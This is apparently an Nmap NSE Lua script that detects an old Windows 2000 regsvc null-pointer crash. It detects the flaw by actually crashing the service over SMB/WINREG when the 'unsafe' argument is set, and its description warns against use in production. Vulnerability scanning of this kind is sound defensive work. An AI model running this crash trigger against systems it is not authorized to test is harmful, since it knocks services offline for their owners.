local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Checks for vulnerabilities:
* Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000
WARNING: These checks are dangerous, and are very likely to bring down a server.
These should not be run in a production environment unless you (and, more importantly,
the business) understand the risks!
As a system administrator, performing these kinds of checks is crucial, because
a lot more damage can be done by a worm or a hacker using this vulnerability than
by a scanner. Penetration testers, on the other hand, might not want to use this
script -- crashing services is not generally a good way of sneaking through a
network.
If you set the script parameter unsafe
, then scripts will run that are almost
(or totally) guaranteed to crash a vulnerable system; do NOT specify unsafe
in a production environment! And that isn't to say that non-unsafe scripts will
not crash a system, they're just less likely to.
If you set the script parameter safe
, then script will run that rarely or never
crash a vulnerable system. No promises, though.
regsvc DoS. Checks if a host is vulnerable to a crash in regsvc, caused
by a null pointer dereference. I inadvertently discovered this crash while working
on smb-enum-sessions
, and discovered that it was repeatable. It's been
reported to Microsoft (case #MSRC8742).
This check WILL crash the service, if it's vulnerable, and requires a guest account
or higher to work. It is considered unsafe
.
]]
---
--@usage
-- nmap --script smb-vuln-regsvc-dos.nse -p445
-- sudo nmap -sU -sS --script smb-vuln-regsvc-dos.nse -p U:137,T:139
--
--@output
-- Host script results:
-- | smb-check-vulns:
-- |_ regsvc DoS: regsvc DoS: NOT VULNERABLE
--
-- @args unsafe If set, this script will run checks that, if the system isn't
-- patched, are basically guaranteed to crash something. Remember that
-- non-unsafe checks aren't necessarily safe either)
-- @args safe If set, this script will only run checks that are known (or at
-- least suspected) to be safe.
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
local UNKNOWN = 3
local NOTRUN = 4
local INFECTED = 5
local INFECTED2 = 6
local CLEAN = 7
local NOTUP = 8
---While writing smb-enum-sessions
I discovered a repeatable null-pointer dereference
-- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because
-- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll
-- fix it. This function checks for that crash (by crashing the process).
--
-- The crash occurs when the string sent to winreg_enumkey() function is null.
--
--@param host The host object.
--@return (status, result) If status is false, result is an error code; otherwise, result is either
-- VULNERABLE
for vulnerable or PATCHED
for not vulnerable. If the check
-- was skipped, NOTRUN
is returned.
function check_winreg_Enum_crash(host)
--check for safety flag
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
local i, j
local elements = {}
local status, bind_result, smbstate
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to WINREG service
status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
local openhku_result
status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhku_result
end
-- Loop through the keys under HKEY_USERS and grab the names
local enumkey_result
status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil)
msrpc.stop_smb(smbstate)
if(status == false) then
return true, VULNERABLE
end
return true, PATCHED
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'Unnamed regsvc DoS',
state = vulns.STATE.NOT_VULN,
description = [[
A host may be vulnerable to a crash in regsvc, caused by a null pointer dereference.
]]
}
-- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
--table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
vuln_table.state = vulns.STATE.NOT_VULN
else
if(result == VULNERABLE) then
--table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
vuln_table.state = vulns.STATE.VULN
elseif(result == NOTRUN) then
vuln_table.state = vulns.STATE.LIKELY_VULN
vuln_table.check_results = "CHECK DISABLED. Add '--script-args=unsafe=1' to run"
else
--table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end